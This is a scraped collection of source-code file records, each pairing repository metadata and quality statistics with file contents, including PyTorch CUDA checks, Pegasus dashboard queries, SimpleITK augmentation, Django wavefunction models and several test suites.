0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
efd8e936b45582c09ff6ce08d766e376ea03dcf8
83
py
Python
test4Cuda.py
Lochindaal/atmt
0f8d59dc8ad6539d5605e3777d63270d912155ec
[ "MIT" ]
null
null
null
test4Cuda.py
Lochindaal/atmt
0f8d59dc8ad6539d5605e3777d63270d912155ec
[ "MIT" ]
null
null
null
test4Cuda.py
Lochindaal/atmt
0f8d59dc8ad6539d5605e3777d63270d912155ec
[ "MIT" ]
1
2020-09-25T21:39:10.000Z
2020-09-25T21:39:10.000Z
import torch print(torch.cuda.is_available()) print(torch.backends.cudnn.enabled)
16.6
35
0.807229
12
83
5.5
0.75
0.30303
0
0
0
0
0
0
0
0
0
0
0.060241
83
4
36
20.75
0.846154
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0.666667
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
6
ef0dd44e693e4d3e17d87218dc456e10c61504ff
24,055
py
Python
pegasus/service/dashboard/queries.py
nondejus/pegasus-service
01d421523d375153f1aae631718580572e78f1ec
[ "Apache-2.0" ]
4
2015-01-25T03:06:51.000Z
2021-11-08T13:02:39.000Z
pegasus/service/dashboard/queries.py
nondejus/pegasus-service
01d421523d375153f1aae631718580572e78f1ec
[ "Apache-2.0" ]
null
null
null
pegasus/service/dashboard/queries.py
nondejus/pegasus-service
01d421523d375153f1aae631718580572e78f1ec
[ "Apache-2.0" ]
3
2018-02-05T17:24:15.000Z
2020-02-05T17:25:53.000Z
# Copyright 2007-2012 University Of Southern California # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
38.673633
221
0.589815
3,184
24,055
4.242148
0.085427
0.014955
0.040275
0.027393
0.791219
0.760939
0.737395
0.724587
0.710595
0.692456
0
0.006356
0.287051
24,055
621
222
38.73591
0.781224
0.051715
0
0.628499
0
0
0.054799
0
0
0
0
0
0
0
null
null
0.005089
0.015267
null
null
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
6
ef4861ec414876b958706af49d66af6b8e1055e2
38,327
py
Python
proj/preprocessor/sitkSpatialAugment.py
NanYoMy/mmregnet
50909d39289733264dce14666e9deeecbe858819
[ "Apache-2.0" ]
7
2021-05-18T05:21:41.000Z
2022-01-03T07:03:35.000Z
proj/preprocessor/sitkSpatialAugment.py
NanYoMy/mmregnet
50909d39289733264dce14666e9deeecbe858819
[ "Apache-2.0" ]
null
null
null
proj/preprocessor/sitkSpatialAugment.py
NanYoMy/mmregnet
50909d39289733264dce14666e9deeecbe858819
[ "Apache-2.0" ]
null
null
null
import SimpleITK as sitk import numpy as np import os from tensorflow.python.keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img from sitkImageIO.itkdatawriter import sitk_write_image OUTPUT_DIR='../tmp' def parameter_space_regular_grid_sampling(*transformation_parameters): ''...
56.115666
168
0.613432
4,789
38,327
4.767175
0.097306
0.014367
0.019974
0.023303
0.800569
0.781165
0.767718
0.758081
0.741831
0.734428
0
0.035575
0.284917
38,327
682
169
56.197947
0.797424
0.422783
0
0.641104
0
0
0.014441
0.004923
0
0
0
0
0.009202
1
0.033742
false
0
0.018405
0
0.08589
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
ef4c9d9bfbcb7bc01982165304c1b740a4d70cbc
307
py
Python
xga/xspec/fit/__init__.py
DavidT3/XGA
cde51c3f29f98b5f1e981fb6d327c04072b0ba38
[ "BSD-3-Clause" ]
12
2020-05-16T09:45:45.000Z
2022-02-14T14:41:46.000Z
xga/xspec/fit/__init__.py
DavidT3/XGA
cde51c3f29f98b5f1e981fb6d327c04072b0ba38
[ "BSD-3-Clause" ]
684
2020-05-28T08:52:09.000Z
2022-03-31T10:56:24.000Z
xga/xspec/fit/__init__.py
DavidT3/XGA
cde51c3f29f98b5f1e981fb6d327c04072b0ba38
[ "BSD-3-Clause" ]
2
2022-02-04T10:55:55.000Z
2022-02-04T11:30:56.000Z
# This code is a part of XMM: Generate and Analyse (XGA), a module designed for the XMM Cluster Survey (XCS). # Last modified by David J Turner (david.turner@sussex.ac.uk) 22/01/2021, 15:13. Copyright (c) David J Turner from .general import * # Perhaps this one will be removed from .profile import *
30.7
110
0.726384
53
307
4.207547
0.811321
0.053812
0.107623
0
0
0
0
0
0
0
0
0.048
0.185668
307
9
111
34.111111
0.844
0.811075
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
322f05a94ebab3603010a2bcda2585e353179024
1,803
py
Python
bayesnet_em/tests/test_em.py
nnvutisa/EM_BayesNet
54c91b38a89a43ab848019e23f498cab238af3fb
[ "MIT" ]
5
2020-06-28T17:14:33.000Z
2022-01-24T00:36:43.000Z
bayesnet_em/tests/test_em.py
nnvutisa/EM_BayesNet
54c91b38a89a43ab848019e23f498cab238af3fb
[ "MIT" ]
null
null
null
bayesnet_em/tests/test_em.py
nnvutisa/EM_BayesNet
54c91b38a89a43ab848019e23f498cab238af3fb
[ "MIT" ]
1
2021-06-16T05:05:06.000Z
2021-06-16T05:05:06.000Z
import unittest class TestDataType(unittest.TestCase): def test_int_input(self): data = np.array([[0,np.nan], [0,np.nan], [1,np.nan], [1,np.nan]]) A = DiscreteDistribution({0:0.4, 1:0.6}) B = ConditionalProbabilityTable([ [0, 0, ...
26.514706
68
0.4132
217
1,803
3.258065
0.193548
0.050919
0.042433
0.033946
0.874116
0.874116
0.874116
0.874116
0.874116
0.874116
0
0.065605
0.408209
1,803
67
69
26.910448
0.597001
0
0
0.461538
0
0
0.023295
0
0
0
0
0
0.038462
1
0.038462
false
0
0.019231
0
0.076923
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
325a0f0cec3d8d9f7c747aff4fd61eb3192e0485
340
py
Python
test/conftest.py
macrocosme/psrqpy
4246553305b034aae2770a74e28e5168527ac8d2
[ "MIT" ]
29
2017-11-18T23:14:13.000Z
2022-03-21T01:54:33.000Z
test/conftest.py
macrocosme/psrqpy
4246553305b034aae2770a74e28e5168527ac8d2
[ "MIT" ]
77
2017-11-19T21:42:19.000Z
2022-02-03T15:17:36.000Z
test/conftest.py
macrocosme/psrqpy
4246553305b034aae2770a74e28e5168527ac8d2
[ "MIT" ]
25
2017-11-20T09:39:58.000Z
2022-03-26T14:05:21.000Z
import pytest from psrqpy import QueryATNF @pytest.fixture(scope="module") def query(): return QueryATNF() @pytest.fixture(scope="module") def query_atnf(): return QueryATNF(loadfromdb='test/derived_catalogue.db') @pytest.fixture(scope="session") def query_derived(): return QueryATNF(loadfromdb='test/...
18.888889
60
0.75
42
340
5.97619
0.428571
0.155378
0.215139
0.215139
0.326693
0.326693
0.326693
0
0
0
0
0
0.114706
340
17
61
20
0.833887
0
0
0.181818
0
0
0.194118
0.138235
0
0
0
0
0
1
0.272727
true
0
0.181818
0.272727
0.727273
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
6
329beb56bb9abcf023a9e64f775b322af80da149
7,160
py
Python
package/btns_menus/DropMenus.py
Core7-Development/discord_btns_menus
7cc62ddaf8cfa17179bf705155c92cd4db6ea59d
[ "MIT" ]
8
2022-02-04T10:02:30.000Z
2022-03-23T06:09:53.000Z
package/btns_menus/DropMenus.py
Core7-Development/discord_btns_menus
7cc62ddaf8cfa17179bf705155c92cd4db6ea59d
[ "MIT" ]
null
null
null
package/btns_menus/DropMenus.py
Core7-Development/discord_btns_menus
7cc62ddaf8cfa17179bf705155c92cd4db6ea59d
[ "MIT" ]
2
2022-02-04T17:29:20.000Z
2022-03-08T04:59:18.000Z
from btns_menus.builds.menu_ import Menu, SDropMenu, DEFAULT_TIMEOUT from typing import * import discord from discord import ui class SingleDropMenu: def __init__(self, author: discord.Member, drop_menu1: SDropMenu, /, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive DropMenu ...
31.681416
118
0.606704
815
7,160
5.147239
0.078528
0.064362
0.080095
0.099166
0.881526
0.881526
0.863886
0.83385
0.817402
0.805959
0
0.012951
0.299022
7,160
225
119
31.822222
0.822873
0.235335
0
0.647619
0
0
0.005959
0
0
0
0
0
0
1
0.114286
false
0
0.038095
0
0.266667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
087f1a8fdff66067348527f6a98567fcff6405c5
35
py
Python
model/backbone/__init__.py
Owen-Liuyuxuan/MonoFlex
36101e611af17f5ce3819304b75b11243c9301ff
[ "MIT" ]
131
2021-04-07T02:09:35.000Z
2022-03-30T03:35:30.000Z
model/backbone/__init__.py
Owen-Liuyuxuan/MonoFlex
36101e611af17f5ce3819304b75b11243c9301ff
[ "MIT" ]
40
2021-04-19T01:06:39.000Z
2022-03-20T09:39:47.000Z
model/backbone/__init__.py
Owen-Liuyuxuan/MonoFlex
36101e611af17f5ce3819304b75b11243c9301ff
[ "MIT" ]
23
2021-05-21T04:15:16.000Z
2022-03-10T06:59:01.000Z
from .dla_dcn import build_backbone
35
35
0.885714
6
35
4.833333
1
0
0
0
0
0
0
0
0
0
0
0
0.085714
35
1
35
35
0.90625
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
089eb8c1ba6b0cdd65e87591ac79d2294de7da06
5,104
py
Python
lattedb/wavefunction/models.py
callat-qcd/lattedb
75c06748f3d59332a84ec1b5794c215c5974a46f
[ "BSD-3-Clause" ]
1
2019-12-11T02:33:23.000Z
2019-12-11T02:33:23.000Z
lattedb/wavefunction/models.py
callat-qcd/lattedb
75c06748f3d59332a84ec1b5794c215c5974a46f
[ "BSD-3-Clause" ]
10
2020-01-29T17:06:01.000Z
2021-05-31T14:41:19.000Z
lattedb/wavefunction/models.py
callat-qcd/lattedb
75c06748f3d59332a84ec1b5794c215c5974a46f
[ "BSD-3-Clause" ]
null
null
null
from typing import Dict, Any from django.db import models from espressodb.base.models import Base class SCSWaveFunction(Base): r""" Base table for application. All types of interpolating operators are listed here. If applicable, consistency is enforced in check_consistency under each table that refer...
32.100629
128
0.603644
558
5,104
5.392473
0.204301
0.055833
0.064806
0.067797
0.869724
0.837155
0.835494
0.835494
0.835494
0.835494
0
0.016601
0.303683
5,104
158
129
32.303797
0.830051
0.121669
0
0.603306
0
0
0.244495
0.004994
0
0
0
0
0
1
0.016529
false
0
0.024793
0
0.256198
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
08a03d9ac9efeb4703688907d3b505fbeea3e74c
4,502
py
Python
tests/test_wire/test_check_wiring_context.py
leonardt/magma
d3e8c9500ec3b167df8ed067e0c0305781c94ab6
[ "MIT" ]
167
2017-10-08T00:59:22.000Z
2022-02-08T00:14:39.000Z
tests/test_wire/test_check_wiring_context.py
leonardt/magma
d3e8c9500ec3b167df8ed067e0c0305781c94ab6
[ "MIT" ]
719
2017-08-29T17:58:28.000Z
2022-03-31T23:39:18.000Z
tests/test_wire/test_check_wiring_context.py
leonardt/magma
d3e8c9500ec3b167df8ed067e0c0305781c94ab6
[ "MIT" ]
14
2017-09-01T03:25:16.000Z
2021-11-05T13:30:24.000Z
import pytest import magma as m from magma.compile_exception import MagmaCompileException def test_missing_generator_paren(caplog): class Foo(m.Generator2): def __init__(self, width): self.io = m.IO(x=m.In(m.Bits[width]), y=m.Out(m.Bits[width])) self.io.y @= self.io.x class Ba...
31.482517
80
0.522879
747
4,502
3.117805
0.095047
0.079433
0.087591
0.058394
0.829111
0.799485
0.794762
0.770717
0.766853
0.766853
0
0.013209
0.310529
4,502
142
81
31.704225
0.737113
0.019769
0
0.611111
0
0
0.150181
0
0
0
0
0
0.064815
1
0.074074
false
0
0.027778
0
0.462963
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
3ef65b9c46c6e42f24736f8a2ed0473b30e45132
122
py
Python
tests/run_test.py
megagonlabs/bunkai
28ea1c891f6ee8f96269f41a0642cd6194dd04e9
[ "Apache-2.0" ]
149
2021-04-21T06:25:21.000Z
2022-03-29T08:57:49.000Z
tests/run_test.py
megagonlabs/bunkai
28ea1c891f6ee8f96269f41a0642cd6194dd04e9
[ "Apache-2.0" ]
41
2021-05-11T00:46:16.000Z
2022-03-22T05:17:47.000Z
tests/run_test.py
megagonlabs/bunkai
28ea1c891f6ee8f96269f41a0642cd6194dd04e9
[ "Apache-2.0" ]
5
2021-04-21T10:54:46.000Z
2022-02-25T17:41:21.000Z
#!/usr/bin/env python3 import subprocess def test(): subprocess.run(["python", "-u", "-m", "unittest", "discover"])
17.428571
66
0.622951
15
122
5.066667
0.933333
0
0
0
0
0
0
0
0
0
0
0.009524
0.139344
122
6
67
20.333333
0.714286
0.172131
0
0
0
0
0.26
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
6
410ae0918fe04ed83b415c97ff467ef57728acf7
144
py
Python
syn/python/b/__init__.py
mbodenhamer/syn
aeaa3ad8a49bac8f50cf89b6f1fe97ad43d1d258
[ "MIT" ]
1
2021-07-15T08:55:12.000Z
2021-07-15T08:55:12.000Z
syn/python/b/__init__.py
mbodenhamer/syn
aeaa3ad8a49bac8f50cf89b6f1fe97ad43d1d258
[ "MIT" ]
7
2021-01-07T23:51:57.000Z
2021-12-13T19:50:57.000Z
syn/python/b/__init__.py
mbodenhamer/syn
aeaa3ad8a49bac8f50cf89b6f1fe97ad43d1d258
[ "MIT" ]
2
2016-07-11T08:46:31.000Z
2017-12-13T13:30:51.000Z
from .base import * from .literals import * from .variables import * from .expressions import * from .statements import * from .blocks import *
20.571429
26
0.75
18
144
6
0.444444
0.462963
0
0
0
0
0
0
0
0
0
0
0.166667
144
6
27
24
0.9
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
410fc6a0e0715aa5136c2e38029d2b13e45c971a
100
py
Python
vit/formatter/description_combined.py
kinifwyne/vit
e2cbafce922b1e09c4a66e7dc9592c51fe628e9d
[ "MIT" ]
179
2020-07-28T08:21:51.000Z
2022-03-30T21:39:37.000Z
vit/formatter/description_combined.py
kinifwyne/vit
e2cbafce922b1e09c4a66e7dc9592c51fe628e9d
[ "MIT" ]
255
2017-02-01T11:49:12.000Z
2020-07-26T22:31:25.000Z
vit/formatter/description_combined.py
kinifwyne/vit
e2cbafce922b1e09c4a66e7dc9592c51fe628e9d
[ "MIT" ]
26
2017-01-17T20:31:13.000Z
2020-06-17T13:09:01.000Z
from vit.formatter.description import Description class DescriptionCombined(Description): pass
20
49
0.83
10
100
8.3
0.8
0
0
0
0
0
0
0
0
0
0
0
0.12
100
4
50
25
0.943182
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
6
f5cca00bdaab61ca75fa56edd214fca62f36bc67
95
py
Python
wavefront_cli/commands/__init__.py
yogeshprasad/travis-ci-wfcli
516ce9d1386246b01388d68e130bb3524f223cc5
[ "Apache-2.0" ]
null
null
null
wavefront_cli/commands/__init__.py
yogeshprasad/travis-ci-wfcli
516ce9d1386246b01388d68e130bb3524f223cc5
[ "Apache-2.0" ]
null
null
null
wavefront_cli/commands/__init__.py
yogeshprasad/travis-ci-wfcli
516ce9d1386246b01388d68e130bb3524f223cc5
[ "Apache-2.0" ]
null
null
null
from .hello import * from .configure import * from .install import * from .integration import *
23.75
26
0.757895
12
95
6
0.5
0.416667
0
0
0
0
0
0
0
0
0
0
0.157895
95
4
26
23.75
0.9
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
f5dab09cd11a7a18e83c54c463d904fba3ce2a29
142
py
Python
fastai_category_encoders/ext_autoembedder/__init__.py
kireygroup/fastai-category-encoders
b6238ff973f942692ebb7573dd0d627bf2196eec
[ "MIT" ]
4
2021-02-09T09:15:42.000Z
2022-01-27T03:13:30.000Z
fastai_category_encoders/ext_autoembedder/__init__.py
kireygroup/fastai-category-encoders
b6238ff973f942692ebb7573dd0d627bf2196eec
[ "MIT" ]
null
null
null
fastai_category_encoders/ext_autoembedder/__init__.py
kireygroup/fastai-category-encoders
b6238ff973f942692ebb7573dd0d627bf2196eec
[ "MIT" ]
1
2021-11-12T02:38:11.000Z
2021-11-12T02:38:11.000Z
from .autoembedder import * from .autoembedder_cat_encoder import * from .autoencoder import * from .loss import * from .tensor import *
23.666667
40
0.753521
17
142
6.176471
0.470588
0.380952
0
0
0
0
0
0
0
0
0
0
0.176056
142
5
41
28.4
0.897436
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
eb0967fcc261f9d32070e0653d38824bae6972f4
11,192
py
Python
tests/test_utils.py
GuangTianLi/cache_alchemy
6904aeb94cace6b9347637f0e7c02030bba1017b
[ "MIT" ]
3
2020-04-15T06:21:42.000Z
2021-03-31T08:54:13.000Z
tests/test_utils.py
GuangTianLi/cache_alchemy
6904aeb94cace6b9347637f0e7c02030bba1017b
[ "MIT" ]
1
2020-05-06T01:31:11.000Z
2020-05-06T01:31:11.000Z
tests/test_utils.py
GuangTianLi/cache_alchemy
6904aeb94cace6b9347637f0e7c02030bba1017b
[ "MIT" ]
3
2019-12-13T05:45:15.000Z
2020-05-04T22:06:28.000Z
import re import unittest from typing import List, Tuple from cache_alchemy.utils import ( generate_strict_key, generate_fast_key, generate_strict_key_pattern, UnsupportedError, generate_fast_key_pattern, escape, ) class UtilsTestCase(unittest.TestCase): def test_generate_strict_key(self)...
34.54321
88
0.364278
1,102
11,192
3.553539
0.075318
0.153218
0.103933
0.067416
0.818182
0.763534
0.738764
0.719101
0.696629
0.661645
0
0.050738
0.448803
11,192
323
89
34.650155
0.584049
0
0
0.546926
1
0
0.058881
0.004646
0
0
0
0
0.019417
1
0.032362
false
0
0.012945
0
0.058252
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
decceb267fab079e19fb2c5fe6584ce26eca9f2f
38
py
Python
dataloader/__init__.py
JiwooKimAR/MWP-solver-with-pretrained-language-model
7fa723ba4485dd446840effc457d5ebcfef9357f
[ "MIT" ]
5
2022-03-02T06:30:03.000Z
2022-03-23T13:01:20.000Z
dataloader/__init__.py
JiwooKimAR/MWP-solver-with-pretrained-language-model
7fa723ba4485dd446840effc457d5ebcfef9357f
[ "MIT" ]
null
null
null
dataloader/__init__.py
JiwooKimAR/MWP-solver-with-pretrained-language-model
7fa723ba4485dd446840effc457d5ebcfef9357f
[ "MIT" ]
null
null
null
from dataloader.Dataset import Dataset
38
38
0.894737
5
38
6.8
0.8
0
0
0
0
0
0
0
0
0
0
0
0.078947
38
1
38
38
0.971429
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
deed719f2356b8a43e190e313f1f400814ed930e
2,513
py
Python
epytope/Data/pssms/smm/mat/B_57_01_10.py
christopher-mohr/epytope
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
[ "BSD-3-Clause" ]
7
2021-02-01T18:11:28.000Z
2022-01-31T19:14:07.000Z
epytope/Data/pssms/smm/mat/B_57_01_10.py
christopher-mohr/epytope
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
[ "BSD-3-Clause" ]
22
2021-01-02T15:25:23.000Z
2022-03-14T11:32:53.000Z
epytope/Data/pssms/smm/mat/B_57_01_10.py
christopher-mohr/epytope
8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd
[ "BSD-3-Clause" ]
4
2021-05-28T08:50:38.000Z
2022-03-14T11:45:32.000Z
B_57_01_10 = {0: {'A': 0.394, 'C': 0.073, 'E': 0.162, 'D': 0.336, 'G': 0.343, 'F': 0.115, 'I': -0.087, 'H': -0.285, 'K': -0.575, 'M': 0.022, 'L': 0.275, 'N': -0.404, 'Q': -0.017, 'P': 0.321, 'S': -0.435, 'R': -0.377, 'T': -0.127, 'W': 0.084, 'V': 0.153, 'Y': 0.031}, 1: {'A': -0.511, 'C': 0.0, 'E': 0.212, 'D': 0.0, 'G':...
2,513
2,513
0.387187
618
2,513
1.569579
0.268608
0.051546
0.009278
0.012371
0.073196
0
0
0
0
0
0
0.364936
0.164743
2,513
1
2,513
2,513
0.097189
0
0
0
0
0
0.080748
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
a0d5351dd34fd74f257b84de88b6d5dd40f48618
16,320
py
Python
JPS_BASE_LIB/python_uploader/tests/test_pyuploader.py
cambridge-cares/TheWorldAvatar
baf08ddc090414c6d01e48c74b408f2192461e9e
[ "MIT" ]
21
2021-03-08T01:58:25.000Z
2022-03-09T15:46:16.000Z
JPS_BASE_LIB/python_uploader/tests/test_pyuploader.py
cambridge-cares/TheWorldAvatar
baf08ddc090414c6d01e48c74b408f2192461e9e
[ "MIT" ]
63
2021-05-04T15:05:30.000Z
2022-03-23T14:32:29.000Z
JPS_BASE_LIB/python_uploader/tests/test_pyuploader.py
cambridge-cares/TheWorldAvatar
baf08ddc090414c6d01e48c74b408f2192461e9e
[ "MIT" ]
15
2021-03-08T07:52:03.000Z
2022-03-29T04:46:20.000Z
import pytest import os import pyuploader.app as app from pyuploader.uploaders.uploader_factory import get_uploader from pyuploader.common.utils import get_credentials_from_file import pyuploader.errorhandling.appexceptions as appexcept pytest_plugins = ["docker_compose"] THIS_DIR = os.path.dirname(os.path.abspath(_...
37.431193
91
0.591238
1,875
16,320
4.7584
0.0816
0.073974
0.037323
0.046626
0.87458
0.866174
0.842076
0.795113
0.758462
0.727303
0
0.002962
0.213971
16,320
436
92
37.431193
0.692548
0.25815
0
0.596825
0
0
0.114711
0.002627
0
0
0
0.002294
0.022222
1
0.031746
false
0
0.019048
0
0.050794
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
9d34b6cd0c40d56b7a72519c5bc37ab84c567482
965
py
Python
tests/assets/longbad.py
appeltel/cpython_assembly
573be46c09ba3f25c115aab407cb336ba07106d4
[ "MIT" ]
1
2020-01-11T07:27:29.000Z
2020-01-11T07:27:29.000Z
tests/assets/longbad.py
appeltel/cpython_assembly
573be46c09ba3f25c115aab407cb336ba07106d4
[ "MIT" ]
5
2018-03-19T16:30:49.000Z
2018-03-25T01:48:56.000Z
tests/assets/longbad.py
appeltel/cpython_assembly
573be46c09ba3f25c115aab407cb336ba07106d4
[ "MIT" ]
null
null
null
from cpython_assembly.asm import asm @asm def bad(x): """ Test func :::asm .stacksize 4 .flags optimized, newlocals, nofree .names ValueError .consts three=3 four=4 .code LOAD_FAST x LOAD_CONST three INPLACE_ADD STORE_FAST 0 JUMP_ABSO...
2.71831
39
0.365803
76
965
4.381579
0.631579
0.096096
0.054054
0
0
0
0
0
0
0
0
0.039683
0.60829
965
354
40
2.725989
0.84127
0.924352
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
1
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
6
dfaecde6153ac54de00df068880438acfc3e808f
63
py
Python
PyEDGAR/__init__.py
rukmal/PyEDGAR
bc96a5da23184627bba7772dc29d570a3fc87fd8
[ "Apache-2.0" ]
null
null
null
PyEDGAR/__init__.py
rukmal/PyEDGAR
bc96a5da23184627bba7772dc29d570a3fc87fd8
[ "Apache-2.0" ]
1
2021-06-01T22:56:17.000Z
2021-06-01T22:56:17.000Z
PyEDGAR/__init__.py
rukmal/PyEDGAR
bc96a5da23184627bba7772dc29d570a3fc87fd8
[ "Apache-2.0" ]
null
null
null
from . import company from . import filings from . import util
15.75
21
0.761905
9
63
5.333333
0.555556
0.625
0
0
0
0
0
0
0
0
0
0
0.190476
63
3
22
21
0.941176
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
dff523e7f128bb70bd429d649090c2c9b058f1f3
34,188
py
Python
gmid2/tests/test_factor.py
junkyul/gmid2-public
363472b8b69212dd6a9dac61d3e5d23936a5a6d2
[ "MIT" ]
null
null
null
gmid2/tests/test_factor.py
junkyul/gmid2-public
363472b8b69212dd6a9dac61d3e5d23936a5a6d2
[ "MIT" ]
null
null
null
gmid2/tests/test_factor.py
junkyul/gmid2-public
363472b8b69212dd6a9dac61d3e5d23936a5a6d2
[ "MIT" ]
1
2020-12-28T20:06:37.000Z
2020-12-28T20:06:37.000Z
import unittest import numpy as np import numpy.testing as nptest import os from gmid2.basics.uai_files import read_limid from gmid2.basics.factor import * from sortedcontainers import SortedSet class FactorTest(unittest.TestCase): def setUp(self): self.file_name = os.path.join(os.path.join(os.getcwd(), "...
39.569444
120
0.472417
5,109
34,188
3.095909
0.038755
0.015806
0.075615
0.110514
0.869824
0.84485
0.820383
0.812101
0.80129
0.786938
0
0.111462
0.304844
34,188
863
121
39.615295
0.554069
0.021791
0
0.571618
0
0
0.05532
0
0
0
0
0
0.197613
1
0.062334
false
0
0.009284
0
0.072944
0.180371
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
a03fcb5ff5c7b59b594d50510a13d34b828557d1
16,215
py
Python
antlr/SBHasmLexer.py
Blanvillain/7billionhumans
9efde1261d5f4ae1361e11581c6836203844e963
[ "MIT" ]
null
null
null
antlr/SBHasmLexer.py
Blanvillain/7billionhumans
9efde1261d5f4ae1361e11581c6836203844e963
[ "MIT" ]
null
null
null
antlr/SBHasmLexer.py
Blanvillain/7billionhumans
9efde1261d5f4ae1361e11581c6836203844e963
[ "MIT" ]
null
null
null
# Generated from SBHasm.g4 by ANTLR 4.7.1 import sys from io import StringIO from antlr4 import * from typing.io import TextIO def serializedATN(): with StringIO() as buf: buf.write("\3\u608b\ua72a\u8133\ub9ed\u417c\u3be7\u7786\u5964\2)") buf.write("\u018d\b\1\4\2\t\2\4\3\t\3\4\4\t\4\4\5\t\5\4\6\...
57.704626
103
0.562751
3,601
16,215
2.527354
0.150791
0.123942
0.054719
0.057137
0.297989
0.18042
0.139435
0.124382
0.118229
0.10834
0
0.331482
0.156275
16,215
280
104
57.910714
0.333748
0.002405
0
0.011628
1
0.248062
0.601101
0.549716
0
0
0
0
0
1
0.015504
false
0
0.015504
0
0.228682
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
1
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
a04a6f4f6046dd469dd756dd3932b284b934396a
13,717
py
Python
tests/unit/test_ncaaf_boxscore.py
JosephDErwin/sportsreference
f026366bec91fdf4bebef48e3a4bfd7c5bfab4bd
[ "MIT" ]
null
null
null
tests/unit/test_ncaaf_boxscore.py
JosephDErwin/sportsreference
f026366bec91fdf4bebef48e3a4bfd7c5bfab4bd
[ "MIT" ]
null
null
null
tests/unit/test_ncaaf_boxscore.py
JosephDErwin/sportsreference
f026366bec91fdf4bebef48e3a4bfd7c5bfab4bd
[ "MIT" ]
1
2020-07-08T16:05:25.000Z
2020-07-08T16:05:25.000Z
